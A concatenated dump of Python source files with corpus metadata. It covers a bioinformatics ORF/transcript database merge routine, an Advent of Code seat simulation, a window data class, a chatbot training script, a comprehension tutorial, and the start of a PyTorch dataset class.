TranscriptDSAsso\n for k in range( len( transcript_val.get( 'related_dstranscript_ids' ) ) ):\n transcriptdsasso = TranscriptDSAsso( transcript_id = transcript.id,\n dstranscript_id = transcript_val.get( 'related_dstranscript_ids' )[ k ],\n data_source = transcript_val.get( 'related_datasources' )[ k ],\n ambiguous = True )\n objects_to_insert.append( transcriptdsasso )\n \n objects_to_insert.append( transcript )\n\n # Add the new objects to the session (PRO database), and flush the session\n # so the query on the next step will return up-to-date results\n SQLManagerPRO.get_instance().add_and_flush( objects_to_add = objects_to_insert, \n process = 'grouping transcripts with same \"unknown\" ID' )\n \n # Commit the changes and close the session\n SQLManagerPRO.get_instance().commit()\n SQLManagerPRO.get_instance().close_session()\n SQLManagerDS.get_instance().close_session()\n\n \n \n # ===============================================================================\n # Methods related to the merging of DSORFTranscriptAssos\n # =============================================================================== \n \n ## merge_dsorftranscriptasso\n # -------------------------\n #\n # This method aims to process the entries of the DSORFTranscriptAsso table \n # (DS database) to fill in the ORFTranscriptAsso table (PRO database).\n # It first gets the list of all ( ORF, Transcript ) couples that exist and \n # for each of them it gets the list of all DSORFTranscriptAsso corresponding \n # to the couple. Then it merges the DSORFTranscriptAsso together in order to\n # create one single entry associated with the couple in the ORFTranscriptAsso \n # table (PRO database).\n # \n def merge_dsorftranscriptasso( self ):\n \n Logger.get_instance().info( 'Starting to merge the entries of the DSORFTranscriptAsso table.' )\n \n # Get all the existing ( ORF, Transcript ) couples for which this \n # is necessary to merge all the related DSORFTranscriptAsso\n self.get_dsorftranscriptasso_to_merge()\n \n # Merge the entries of the DSORFTranscriptAsso table \n self.merge_dsota()\n \n \n \n ## get_dsorftranscriptasso_to_merge\n # --------------------------------\n #\n # This method allows to generate a dictionary that associates to each unique \n # ( ORF ID (PRO), Transcript ID (PRO) ) couple that exists, a list of all the \n # DSORFTranscriptAsso (DS) that are related to it; and to store this dictionary\n # in the DataManager main dictionary.\n # \n def get_dsorftranscriptasso_to_merge( self ):\n \n # NB: This step is multi-processed\n # - As access of objects shared by the several processes (using locks and \n # semaphores for instance), could slower a lot the speed of execution when the\n # process regularly need to access these variables, it has been decided to do\n # not access to shared resources. Then the progression bar is not displayed on \n # screen for this step.\n \n # Instantiate a dictionary in the Data Manager that get as:\n # - keys the ( ORF ID (PRO), Transcript ID (PRO) ) couples that exist,\n # - values the list of all DSORFTranscriptAsso (DS) related to these ORF and Transcript IDs.\n Logger.get_instance().debug( 'MergeStrategy.get_dsorftranscriptasso_to_merge():' +\n ' Getting all the existing ( ORF ID, Transcript ID ) couples' +\n ' and the list of DSORFTranscriptAsso IDs corresponding to these.' +\n ' This might take some time...' )\n \n # Get all the entries of the ORFDSAsso (PRO) table and build a dictionary\n # that associate to each DSORF ID (DS) the related ORF IDs (PRO)\n # NB: This allows to avoid making highly numerous queries to the PRO database, \n # allowing to shorten the computation time.\n orfdsasso_groupby_orfid = SQLManagerPRO.get_instance().get_session().query( \n ORFDSAsso.dsorf_id,\n func.group_concat( ORFDSAsso.orf_id ) \n ).group_by(\n ORFDSAsso.dsorf_id\n ).all()\n SQLManagerPRO.get_instance().close_session()\n \n orfdsasso_dict = {}\n for orfdsasso in orfdsasso_groupby_orfid:\n dsorf_id = orfdsasso[ 0 ]\n orf_ids = orfdsasso[ 1 ].split( ',' )\n orfdsasso_dict[ dsorf_id ] = orf_ids\n \n # Get all the entries of the TranscriptDSAsso (PRO) table and build a dictionary \n # that associate to each DSTranscript ID (DS) the related Transcript IDs (PRO)\n # NB: This allows to avoid making highly numerous queries to the PRO database, \n # allowing to shorten the computation time.\n transcriptdsasso_groupby_trid = SQLManagerPRO.get_instance().get_session().query(\n TranscriptDSAsso.dstranscript_id,\n func.group_concat( TranscriptDSAsso.transcript_id )\n ).group_by(\n TranscriptDSAsso.dstranscript_id\n ).all()\n SQLManagerPRO.get_instance().close_session()\n \n transcriptdsasso_dict = {}\n for transcriptdsasso in transcriptdsasso_groupby_trid:\n dstranscript_id = transcriptdsasso[ 0 ]\n transcript_ids = transcriptdsasso[ 1 ].split( ',' )\n transcriptdsasso_dict[ dstranscript_id ] = transcript_ids\n \n \n # Get all the DSORFTranscriptAsso entries (DS database)\n dsota_query = SQLManagerDS.get_instance().get_session().query( DSORFTranscriptAsso )\n dsota_all = dsota_query.all()\n SQLManagerDS.get_instance().close_session()\n \n # Create a list of 3-element tuples containing:\n # - The ORFTranscriptAsso object\n # - The value of the orf_id attribute\n # - The value of the transcript_id attribute\n dsota_ids_asso_list = [ ( dsota, dsota.uniq_orf_id, dsota.transcript_id ) for dsota in dsota_all ]\n \n # Replace each element of the list by a 3-elements list \n # that contains:\n # - The ORFTranscriptAsso object\n # - The list of ORF IDs (PRO) related to it \n # (or an empty list if the DSORF ID is not used in the PRO database)\n # - The list of Transcript IDs (PRO) related to it\n # (or an empty list if the DSTranscript ID is not used in the PRO database)\n dsota_ids_asso_list = map( lambda t: [ t[0], \n orfdsasso_dict.get( t[1], [] ), \n transcriptdsasso_dict.get( t[2], [] ) ], \n dsota_ids_asso_list )\n \n # Compute the Cartesian product of ORF and Transcript lists of IDs\n # i.e. compute all the tuples of ( ORF, Transcript ) IDs (PRO) that \n # are associated to this DSORFTranscriptAsso (DS) and add it as the \n # fourth element of each lists.\n dsota_ids_asso_list = map( lambda t: t + [ list( itertools.product( t[1], t[2] ) ) ],\n dsota_ids_asso_list )\n \n # Create a dictionary that associate to each unique ( ORF id (PRO), Transcript ID (PRO) )\n # the list of DSORFTranscriptAsso (DS) to merge\n DataManager.get_instance().store_data( Constants.DM_ALL_EXISTING_ORF_TR_ASSO_DICT, {} )\n all_existing_orf_tr_asso_dict = DataManager.get_instance().get_data( Constants.DM_ALL_EXISTING_ORF_TR_ASSO_DICT )\n \n for t in dsota_ids_asso_list:\n dsota = t[0]\n cartesian_prod = t[3]\n \n for ( orf_id, tr_id ) in cartesian_prod:\n exist_orf_tr_asso = all_existing_orf_tr_asso_dict.get( ( orf_id, tr_id ) ) \n if exist_orf_tr_asso:\n exist_orf_tr_asso.append( dsota )\n else:\n all_existing_orf_tr_asso_dict[ ( orf_id, tr_id ) ] = [ dsota ]\n \n \n # Compute the dictionary that associate to each DSORFTranscriptAsso\n # the number of ORF and Transcript related to it.\n # NB: This dictionary is absolutely NOT necessary to perform the merging\n # but will be saved in a csv file for further analysis.\n all_orf_tr_count_for_dsota_dict = { dsota.id : ( len( orf_ids ),\n len( transcript_ids ),\n len( orf_tr_asso_list ) ) \\\n for (dsota, orf_ids, transcript_ids, orf_tr_asso_list ) in dsota_ids_asso_list }\n \n \n # From the 'all_existing_orf_tr_asso_dict' dictionary, compute a new dictionary that \n # associate to each ( ORF ID (PRO), Transcript ID (PRO) ) couple, the list of \n # DSORFTranscriptAsso IDs (DS) related to it and save it into a file. \n # This file may then be used by the ResumeMerge strategy to re-start the \n # merging after the computation of these couples if something goes wrong during\n # the execution of the merge_dsota() method.\n Logger.get_instance().debug( 'Starting to compute the dictionary that associates the ( ORF (PRO),' +\n ' Transcript (PRO) ) IDs to the lists of DSORFTranscriptAsso (DS) IDs.' )\n all_existing_orf_tr_asso_ids = {}\n for ( ( orf_id, tr_id ), dsota_list ) in all_existing_orf_tr_asso_dict.items():\n all_existing_orf_tr_asso_ids[ ( orf_id, tr_id ) ] = map( lambda x: x.id, dsota_list )\n \n try:\n FileHandlerUtil.save_obj_to_file( objects_to_save = all_existing_orf_tr_asso_ids, \n filename = Constants.ALL_EXISTING_ORF_TR_ASSO_IDS_FILENAME, \n output_folder = Constants.MERGED_DATA_FOLDER )\n except Exception as e:\n Logger.get_instance().error( 'An error occurred trying to save the dictionary that associates' +\n ' to each (ORF ID (PRO), Transcript ID (PRO) ) couple the IDs of' +\n ' the list of DSORFTranscriptAsso related to it. \\n' +\n str( e ) +\n ' Error code: ' + LogCodes.ERR_FILEHAND + '.', \n ex = False )\n \n \n # Store into an other data frame the number of DSORFTranscriptAsso (DS) \n # associated with each existing ( ORF (PRO), Transcript (PRO) ) tuple\n Logger.get_instance().debug( 'Computing the number of DSORFTranscriptAsso (DS) associated' +\n ' with each existing ( ORF (PRO), Transcript (PRO) ) tuple.' )\n dsota_count_for_orf_tr_df = pd.DataFrame( columns = [ 'orf_id', \n 'transcript_id', \n 'dsota_count' ] )\n \n dsota_count_for_orf_tr_dict = { ( orf_id, tr_id ) : len( dsota_list ) \\\n for ( ( orf_id, tr_id ), dsota_list ) in all_existing_orf_tr_asso_dict.items() }\n \n # Save the data frames in CSV files\n Logger.get_instance().info( 'The number of ORF (PRO) and Transcript (PRO) entries associated' +\n ' with each existing DSORFTranscriptAsso (DS) will be saved in a' +\n ' CSV file (' + Constants.MERGE_DATA_ANALYSIS_FOLDER +\n ' folder, orf_tr_count_for_dsota.csv file).' )\n try:\n FileHandlerUtil.dict_to_csv( output_folder = Constants.MERGE_DATA_ANALYSIS_FOLDER,\n filename = 'orf_tr_count_for_dsota',\n file_desc = ( 'Number of ORF (PRO) and Transcript (PRO) entries' +\n ' associated with each DSORFTranscriptAsso (DS)' ),\n dict = all_orf_tr_count_for_dsota_dict,\n hdr = [ 'dsota_id', \n 'orf_count', \n 'transcript_count', \n 'cartesian_prod_count' ],\n val_func = lambda v: map( str, v ),\n sep = ',',\n sort = True, \n unlist_val = True )\n except Exception as e:\n Logger.get_instance().error( 'An error occurred trying to save the number of ORF (PRO)' +\n ' and Transcript (PRO) entries associated with each existing' +\n ' DSORFTranscriptAsso (DS) in the CSV file. \\n' +\n str( e ) +\n ' Error code: ' + LogCodes.ERR_FILEHAND + '.',\n ex = False )\n \n Logger.get_instance().info( 'The number of DSORFTranscriptAsso (DS) associated with each' +\n ' ( ORF (PRO), Transcript (PRO) ) existing tuple will be saved' +\n ' in a CSV file (' + Constants.MERGE_DATA_ANALYSIS_FOLDER +\n ' folder, dsota_count_for_orf_tr.csv file).' )\n try:\n FileHandlerUtil.dict_to_csv( output_folder = Constants.MERGE_DATA_ANALYSIS_FOLDER,\n filename = 'dsota_count_for_orf_tr', \n file_desc = ( 'Number of DSORFTranscriptAsso (DS) associated with' +\n ' each ( ORF (PRO), Transcript (PRO) ) existing tuple' ),\n dict = dsota_count_for_orf_tr_dict,\n hdr = [ 'orf_id',\n 'transcript_id',\n 'dsota_count' ],\n key_func = lambda k: map( str, k ),\n sep = ',',\n sort = True,\n unlist_key = True )\n except Exception as e:\n Logger.get_instance().error( 'An error occurred trying to save the number of' +\n ' DSORFTranscriptAsso (DS) associated with each' +\n ' ( ORF (PRO), Transcript (PRO) ) existing tuple in the CSV file. \\n' +\n str( e ) +\n ' Error code: ' + LogCodes.ERR_FILEHAND + '.',\n ex = False )\n \n \n \n ## merge_dsota\n # -----------\n #\n # This method allows to merge the entries of the DSORFTranscriptAsso table.\n # NB: It needs the 'all_existing_orf_tr_asso_dict' dictionary stored into the \n # DataManager in order to work properly. See the documentation of the \n # get_dsorftranscriptasso_to_merge() method for more information.\n # \n def merge_dsota( self ):\n \n # NB: This step is multi-processed\n # - As access of objects shared by the several processes (using locks and \n # semaphores for instance), could slower a lot the speed of execution when the\n # process regularly need to access these variables, it has been decided to do\n # not access to shared resources. Then an object corresponding to a common entry \n # (e.g. CellContextCatalog entry) may be instantiated by several processes at \n # the same time. In order to respect the database integrity, several list of \n # objects expected to be redundant are checked to discard this redundancy prior\n # to perform to the insertion in the database.\n # - As forked processes require a copy of parent address space, they could be\n # highly memory-consuming processes. In order to limit the number of elements\n # stored in memory, the merging is performed by \"batch\" of pre-defined size.\n # - As locks are not used, the progression bar displayed on the terminal is not\n # instantaneously updated, but instead is updated at the end of each batch.\n \n # Get all the existing ( ORF, Transcript ) associations \n # previously computed\n all_existing_orf_tr_asso_dict = DataManager.get_instance().get_data( Constants.DM_ALL_EXISTING_ORF_TR_ASSO_DICT )\n \n \n ## For each existing ( ORF, Transcript ) association, \n # merge all the related DSORFTranscriptAsso\n # --------------------------------------------------\n Logger.get_instance().info( 'Starting to merge the DSORFTranscriptAsso entries' +\n ' for all existing ( ORF ID, Transcript ID ) couples.' )\n \n # Register all the new cell context, provided category \n # and FLOSS classification in dictionaries\n DataManager.get_instance().store_PRO_query_result( Constants.DM_ALL_CELL_CTXT_CAT, \n 'query( CellContextCatalog ).all()' )\n DataManager.get_instance().store_PRO_query_result( Constants.DM_ALL_PROVIDED_CAT_CAT, \n 'query( ProvidedCategoryCatalog ).all()' )\n DataManager.get_instance().store_PRO_query_result( Constants.DM_ALL_FLOSS_CLASS_CAT, \n 'query( FLOSSClassCatalog ).all()' )\n SQLManagerPRO.get_instance().close_session()\n \n all_cell_ctxt_dict = DataManager.get_instance().get_data( Constants.DM_ALL_CELL_CTXT_CAT )\n all_provided_cat_dict = DataManager.get_instance().get_data( Constants.DM_ALL_PROVIDED_CAT_CAT )\n all_floss_dict = DataManager.get_instance().get_data( Constants.DM_ALL_FLOSS_CLASS_CAT )\n \n \n # Get the number total number of elements expected to be treated and \n # reset the ProgressionBar instance to follow the progression\n ProgressionBar.get_instance().reset_instance( total = len( all_existing_orf_tr_asso_dict.keys() ) )\n ProgressionBar.get_instance().display()\n \n \n # During the merging of the DSORFTranscriptAsso entries, a consensus of the\n # amino acid and nucleic sequences needs to be computed. As this step uses\n # MUSCLE, it needs to write the sequences and alignment in a fasta file. \n # Hence, the fasta files are saved in a temporary folder. In order to avoid \n # any conflict related to the creation of the directory by the first parallel \n # processes at the same time, this folder is created prior to run the processes.\n if ( not os.path.exists( DefaultTemporaryFolder.TEMPORARY_FOLDER ) ):\n os.makedirs( DefaultTemporaryFolder.TEMPORARY_FOLDER )\n \n # Instantiate the list of tuple-embedded arguments necessary \n # to create the new PRO entries \n # As the same DSORFTranscriptAsso may be merged into several \n # ORFTranscriptAsso, the ID is build by incrementing a counter.\n args_for_merging_list = []\n \n # If there is any entry existing in the ORFTranscriptAsso table, \n # get the value of the highest ID\n ota_count = SQLManagerPRO.get_instance().get_session().query( ORFTranscriptAsso ).count()\n if ( ota_count != 0 ):\n max_ota_id = SQLManagerPRO.get_instance().get_session().query( func.max( ORFTranscriptAsso.id ) ).one()[0]\n ota_id = max_ota_id + 1\n else:\n ota_id = 1\n \n for ( orf_tr_asso, dsorftranscriptasso_list ) in all_existing_orf_tr_asso_dict.items():\n # Append to the list the tuple required by the MergeDSOTA.merge_dsota() method\n # (see the documentation of this method for more information)\n args_for_merging_list.append( ( ota_id,\n orf_tr_asso, \n dsorftranscriptasso_list,\n self.check_dsota_coherence,\n self.compute_consensus,\n self.sqce_consensus_ambig_threshold,\n self.max_len_diff_dsota_clust ) )\n ota_id += 1\n \n \n # Split the list into sublists of defined sizes, such as processes\n # are run by sequential \"batches\" of pools\n args_for_merging_sublists = [ args_for_merging_list[ min_bound : min_bound + \n Constants.MAX_POOL_SIZE ] \\\n for min_bound in xrange( 0, \n len( args_for_merging_list ), \n Constants.MAX_POOL_SIZE ) ]\n \n # Instantiate the pool\n p = Pool( self.thread_nb )\n \n # Sequentially process these \"batches\"\n for args_for_merging_sublist in args_for_merging_sublists:\n \n Logger.get_instance().debug( 'MergeStrategy.merge_dsota(): ' + str( len( args_for_merging_sublist ) ) +\n ' subprocess will be started to perform the merging of the' +\n ' DSORFTranscriptAsso entries.' )\n \n # Instantiate the list of new objects to be added\n # to the database\n objects_to_insert = []\n \n # For each group of DSORFTranscriptAsso to merge, run the MergeDSOTA.merge_dsota() \n # static method that will instantiate all the appropriate objects to insert in the \n # PRO database\n m = MergeDSOTA()\n all_objects_to_insert = p.map( m.merge_dsota, args_for_merging_sublist )\n p.close()\n # Wait for all processes to be completed\n p.join()\n \n \n # Get the new objects to add to the session\n for obj_to_insert_sublist in all_objects_to_insert:\n \n # Parse the output of the MergeDSOTA.merge_dsota() method\n ( new_objects, \n cell_ctxt_catalog_to_insert, \n provided_cat_catalog_to_insert, \n floss_class_catelog_to_insert, \n error_messages_to_log, \n warning_messages_to_log ) = obj_to_insert_sublist\n \n # For each of the CellContextCatalog, ProvidedCategoryCatalog and \n # FlossClassCatalog instances, only add them to the list of objects\n # to insert if if they are not yet existing in the database and if\n # they have not already been added to the session.\n for new_cell_ctxt in cell_ctxt_catalog_to_insert:\n if ( not all_cell_ctxt_dict.get( new_cell_ctxt ) ):\n all_cell_ctxt_dict[ new_cell_ctxt ] = new_cell_ctxt\n objects_to_insert.append( new_cell_ctxt )\n \n for new_provided_cat in provided_cat_catalog_to_insert:\n if ( not all_provided_cat_dict.get( new_provided_cat ) ):\n all_provided_cat_dict[ new_provided_cat ] = new_provided_cat\n objects_to_insert.append( new_provided_cat )\n \n for new_floss in floss_class_catelog_to_insert:\n if ( not all_floss_dict.get( new_floss ) ):\n all_floss_dict[ new_floss ] = new_floss\n objects_to_insert.append( new_floss )\n \n # NB: The new entries are the last to be added to the list of objects\n # to add to the session, as parent entries that required to be \n # existing could have been instantiated by the function (and thus \n # added to one of the previous lists).\n objects_to_insert += new_objects\n \n # Log the messages instantiated during the execution \n # of the MergeDSOTA.merge_dsota() method\n for warning_message in warning_messages_to_log:\n Logger.get_instance().warning( warning_message )\n \n for error_message in error_messages_to_log:\n Logger.get_instance().error( error_message, ex = None)\n \n # Display the progression on the terminal\n ProgressionBar.get_instance().increase_and_display( add_val = Constants.MAX_POOL_SIZE )\n \n # Insert the new objects in the PRO database and commit the changes\n self.batch_insert_to_PRO_db( objects_to_insert = objects_to_insert,\n filename = 'orftranscriptasso',\n process = 'grouping DSORFTranscriptAsso entries' )\n SQLManagerPRO.get_instance().close_session()\n \n # Restart the pool\n p.restart()\n \n # Delete the pool instance\n p.clear()\n\n \n \n \n # ===============================================================================\n # Methods dedicated to the cleaning of the PRO database\n # ===============================================================================\n \n ## clean_pro_database\n # ------------------\n #\n # This method aims to clean the PRO database by removing all the parent entries\n # of the ORF and Transcript tables that have no child in the ORFTranscriptAsso table.\n #\n # @throw DenCellORFException: When an exception has been raised trying to delete the \n # entries of the ORF table without children.\n # @throw DenCellORFException: When an exception has been raised trying to delete the \n # entries of the Transcript table without children.\n # \n def clean_pro_database( self ):\n \n Logger.get_instance().info( 'Starting to clean the PRO database.')\n \n # Delete all ORF entries without ORFTranscriptAsso children\n # NB: The ORFDSAsso entries related to these are expected to be \n # automatically removed in regard to the relational integrity\n orf_wo_children_query = SQLManagerPRO.get_instance().get_session().query( ORF ).filter( ORF.ORFTranscriptAsso_list == None )\n orf_wo_children_count = orf_wo_children_query.count()\n \n if ( orf_wo_children_count != 0 ):\n Logger.get_instance().info( str( orf_wo_children_count ) + ' entries of the ORF table' +\n ' have been found without children and will be deleted.' )\n try:\n orf_wo_children_query.delete( synchronize_session='fetch' )\n SQLManagerPRO.get_instance().commit()\n except Exception as e:\n raise DenCellORFException( 'MergeStrategy.clean_pro_database(): An error occurred trying' +\n ' to remove the ORF entries without children from the session' +\n ' and to commit changes.', e )\n \n # Delete all Transcript entries without ORFTranscriptAsso children\n # NB: The TranscriptDSAsso entries related to these are expected to be \n # automatically removed in regard to the relational integrity\n transcript_wo_children_query = SQLManagerPRO.get_instance().get_session().query( Transcript ).filter( Transcript.ORFTranscriptAsso_list == None )\n transcript_wo_children_count = transcript_wo_children_query.count()\n \n if ( transcript_wo_children_count != 0 ):\n Logger.get_instance().info( str( transcript_wo_children_count ) + ' entries of the Transcript' +\n ' table have been found without children and will be deleted.' )\n try:\n transcript_wo_children_query.delete( synchronize_session = 'fetch' )\n SQLManagerPRO.get_instance().commit()\n except Exception as e:\n raise DenCellORFException( 'MergeStrategy.clean_pro_database(): An error occurred trying' +\n ' to remove the Transcript entries without children from the' +\n ' session and to commit changes.', e )\n SQLManagerPRO.get_instance().close_session()\n \n \n \n # ===============================================================================\n # Common methods\n # ===============================================================================\n \n ## batch_insert_to_PRO_db\n # ----------------------\n #\n # This method allows to insert a list of objects in the PRO database. \n # \n # @param objects_to_insert: List - The list of objects to insert in the database.\n # @param filename: String - The name of the filename where data are saved.\n # @param process: String - The name of the process that generated these objects.\n # 'Undefined process' by default.\n # \n def batch_insert_to_PRO_db( self, objects_to_insert, filename, process='Undefined process' ):\n \n # Save into a temporary file the data that should be inserted.\n self.save_list_of_obj( objects_to_insert = objects_to_insert, \n filename = filename )\n \n # Insert the objects in the database\n SQLManagerPRO.get_instance().batch_insert_to_db( objects_to_insert = objects_to_insert, \n process = process )\n \n \n \n \n ## save_list_of_obj\n # ----------------\n #\n # This is a static method that allows to save in a file a list of objects\n # expected to be added or that have been added to the PRO database.\n #\n # NB: So far there is NOT any strategy that allows to use these files \n # to retry the insertion of data into the PRO database if it failed. \n # Nevertheless, if necessary it would be feasible to create a new \n # strategy similar to the InsertionStrategy that uses the content \n # of these file to retry the insertion into the PRO database; saving\n # the computation time if the merging occurred successfully but an \n # exception has been raised during the insertion into the database.\n # \n # @param objects_to_insert: List - The list of objects to insert in the database.\n # @param filename: String - The name of the filename where data are saved.\n # \n @staticmethod\n def save_list_of_obj( objects_to_insert, filename ):\n \n try:\n FileHandlerUtil.save_obj_to_file( objects_to_save = objects_to_insert,\n filename = 'objects_from_' + filename,\n output_folder = Constants.MERGED_DATA_FOLDER )\n except Exception as e:\n Logger.get_instance().error( 'MergeStrategy.batch_insert_to_PRO_db():' +\n ' An error occurred trying to save data from ' + \n process + ': \\n' + str( e ) +\n '\\n Error code: ' + LogCodes.ERR_FILEHAND + '.',\n ex = False )\n ","sub_path":"06_src/fr/tagc/uorf/core/execution/MergeStrategy.py","file_name":"MergeStrategy.py","file_ext":"py","file_size_in_byte":116607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"539069984","text":"# occupied seats\nfrom collections import defaultdict\nimport copy\n\n\ndef get_input(filename):\n grid = []\n with open(filename) as fil:\n lines = fil.readlines()\n for line in lines:\n ll = []\n for chr in line.strip():\n ll.append(chr)\n grid.append(ll)\n return grid\n\n\ndef count_total_seats(layout):\n seats = 0\n for i in range(len(layout)):\n for j in range(len(layout[0])):\n if layout[i][j] == '#':\n seats += 1\n return seats\n\n\n# def count_seats(layout, x, y):\n# seats = 0\n# for i in range(x - 1, x + 2):\n# for j in range(y - 1, y + 2):\n# if 0 <= i < len(layout) and 0 <= j < len(layout[0]):\n# if not (i == x and j == y):\n# if layout[i][j] == '#':\n# seats += 1\n# return seats\n#\n#\n# def seat_simulation(grid):\n# layout = copy.deepcopy(grid)\n# next = copy.deepcopy(grid)\n# seat_change = True\n# while seat_change:\n# for i in range(len(layout)):\n# for j in range(len(layout[0])):\n# if layout[i][j] == '.':\n# next[i][j] = '.'\n# if layout[i][j] == 'L':\n# if count_seats(layout, i, j) == 0:\n# next[i][j] = '#'\n# if layout[i][j] == '#':\n# if count_seats(layout, i, j) >= 4:\n# next[i][j] = 'L'\n# change = 0\n# for i in range(len(layout)):\n# for j in range(len(layout[0])):\n# if layout[i][j] == next[i][j]:\n# change += 1\n# if change == len(layout[0])*len(layout):\n# seat_change = False\n# else:\n# layout = copy.deepcopy(next)\n# return count_total_seats(layout)\n\n\ndef count_seats2(layout, x, y):\n seats = 0\n for id, jd in [(1,0),(-1,0),(0,-1),(0,1),(1,-1),(-1,1),(1,1),(-1,-1)]:\n i = x\n j = y\n for steps in range(max(len(layout[0]), len(layout))):\n i += id\n j += jd\n if not (0 <= i < len(layout) and 0 <= j < len(layout[0])):\n break\n if layout[i][j] == 'L':\n break\n if layout[i][j] == '#':\n seats += 1\n break\n return seats\n\n\ndef seat_simulation2(grid):\n layout = copy.deepcopy(grid)\n next = copy.deepcopy(grid)\n seat_change = True\n while seat_change:\n for i in range(len(layout)):\n for j in range(len(layout[0])):\n if layout[i][j] == '.':\n next[i][j] = '.'\n if layout[i][j] == 'L':\n if count_seats2(layout, i, j) == 0:\n next[i][j] = '#'\n if layout[i][j] == '#':\n if count_seats2(layout, i, j) >= 5:\n next[i][j] = 'L'\n # for i in range(len(layout)):\n # print(''.join(layout[i]))\n # print()\n change = 0\n for i in range(len(layout)):\n for j in range(len(layout[0])):\n if layout[i][j] == next[i][j]:\n change += 1\n if change == len(layout[0]) * len(layout):\n seat_change = False\n else:\n layout = copy.deepcopy(next)\n return count_total_seats(layout)\n\n\n# grid = get_input('aoc11_sample.txt')\ngrid = get_input('aoc11_input.txt')\nprint(seat_simulation2(grid))","sub_path":"2020/day11/aoc11.py","file_name":"aoc11.py","file_ext":"py","file_size_in_byte":3479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"128620635","text":"import typing\nfrom energuide.embedded import area\nfrom energuide.embedded import code\nfrom energuide.embedded import insulation\nfrom energuide.embedded import distance\nfrom energuide import element\nfrom energuide.exceptions import InvalidEmbeddedDataTypeError, ElementGetValueError\n\n\n_MILLIMETRES_TO_METRES = 1000\n\n\nclass _Window(typing.NamedTuple):\n label: str\n window_code: typing.Optional[code.WindowCode]\n window_insulation: insulation.Insulation\n width: distance.Distance\n height: distance.Distance\n\n\nclass Window(_Window):\n\n @classmethod\n def from_data(cls,\n window: element.Element,\n window_codes: typing.Dict[str, code.WindowCode]) -> 'Window':\n\n code_id = window.xpath('Construction/Type/@idref')\n window_code = window_codes[code_id[0]] if code_id else None\n\n try:\n return Window(\n label=window.get_text('Label'),\n window_code=window_code,\n window_insulation=insulation.Insulation(window.get('Construction/Type/@rValue', float)),\n width=distance.Distance(window.get('Measurements/@width', float) / _MILLIMETRES_TO_METRES),\n height=distance.Distance(window.get('Measurements/@height', float) / _MILLIMETRES_TO_METRES),\n )\n except (ElementGetValueError) as exc:\n raise InvalidEmbeddedDataTypeError(Window) from exc\n\n @property\n def _window_area(self) -> area.Area:\n return area.Area(self.width.metres * self.height.metres)\n\n def to_dict(self) -> typing.Dict[str, typing.Any]:\n return {\n 'label': self.label,\n 'insulationRsi': self.window_insulation.rsi,\n 'insulationR': self.window_insulation.r_value,\n 'glazingTypesEnglish': self.window_code.glazing_type.english if self.window_code else None,\n 'glazingTypesFrench': self.window_code.glazing_type.french if self.window_code else None,\n 'coatingsTintsEnglish': self.window_code.coating_tint.english if self.window_code else None,\n 'coatingsTintsFrench': self.window_code.coating_tint.french if self.window_code else None,\n 'fillTypeEnglish': self.window_code.fill_type.english if self.window_code else None,\n 'fillTypeFrench': self.window_code.fill_type.french if self.window_code else None,\n 'spacerTypeEnglish': self.window_code.spacer_type.english if self.window_code else None,\n 'spacerTypeFrench': self.window_code.spacer_type.french if self.window_code else None,\n 'typeEnglish': self.window_code.window_code_type.english if self.window_code else None,\n 'typeFrench': self.window_code.window_code_type.french if self.window_code else None,\n 'frameMaterialEnglish': self.window_code.frame_material.english if self.window_code else None,\n 'frameMaterialFrench': self.window_code.frame_material.french if self.window_code else None,\n 'areaMetres': self._window_area.square_metres,\n 'areaFeet': self._window_area.square_feet,\n 'widthMetres': self.width.metres,\n 'widthFeet': self.width.feet,\n 'heightMetres': self.height.metres,\n 'heightFeet': self.height.feet,\n }\n","sub_path":"etl/src/energuide/embedded/window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":3276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"29032245","text":"from chatterbot import ChatBot\n\nbro = ChatBot(\n 'bro',\n trainer='chatterbot.trainers.ChatterBotCorpusTrainer'\n)\n\n# Train based on the odia corpus\nbro.train(\"chatterbot.corpus.odia\")\n\n# Get a response to an input statement\nbro.get_response(\"Hello, how are you today?\")","sub_path":"bro_initial/old code/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"94151050","text":"\"\"\"General format:\noutput_list = [func(iterator) for iterator in iterable if filter == True]\"\"\"\n\n\n\"\"\"List comprehension\"\"\"\ninput_list = [\"1\", \"72\", \"343\", \"54\", \"4556\"]\n\noutput_list = [int(str) for str in input_list if len(str) < 3]\n\nprint(output_list)\n\n# prints [1, 72, 54]\n\n\n\"\"\"Set comprehension\"\"\"\nfrom collections import namedtuple\nBook = namedtuple(\"Book\", \"author title genre\")\nbooks = [\n Book(\"Pratchett\", \"Nightwatch\", \"fantasy\"),\n Book(\"Pratchett\", \"Thief of Time\", \"fantasy\"),\n Book(\"Pullman\", \"The Amber Spyglass\", \"fantasy\"),\n Book(\"Ian Banks\", \"The Wasp Factory\", \"horror\"),\n Book(\"Walsh\", \"Trainspotting\", \"dark comedy\"),\n]\n\nfantasy_authors = {b.author for b in books if b.genre == \"fantasy\"}\n\nprint(fantasy_authors)\n\n# prints {\"Pullman\", \"Pratchett\"}\n\n\n\"\"\"Dictionary comprehension\"\"\"\nfantasy_titles = {b.title: b for b in books if b.genre == \"fantasy\"}\n\nprint(fantasy_titles)\n\n\"\"\"prints\n{\n 'Nightwatch': \n Book(author='Pratchett', title='Nightwatch', genre='fantasy'),\n 'Thief of Time':\n Book(author='Pratchett', title='Thief of Time', genre='fantasy'),\n 'The Amber Spyglass':\n Book(author='Pullman', title='The Amber Spyglass', genre='fantasy')\n}\n\"\"\"","sub_path":"design_patterns/comprehension.py","file_name":"comprehension.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"231911323","text":"import torch\nfrom torch.nn.utils.rnn import pad_sequence\nimport numpy as np\nimport os\n\n\nclass navigation_dataset(torch.utils.data.Dataset):\n\n def __init__(self, data_path, difficulty=\"uniform\", b=1, a=0, max_iters=None):\n self.X = []\n self.y = []\n self.locations = []\n self.file_name = []\n self.stats = []\n path = os.path.join(data_path, \"np_arrays/\")\n max_horizon = 0\n longest_index = -1\n self.min_reward = np.inf\n avg_optimal_reward = 0\n for f in os.listdir(path):\n arr = np.load(os.path.join(path, f))\n 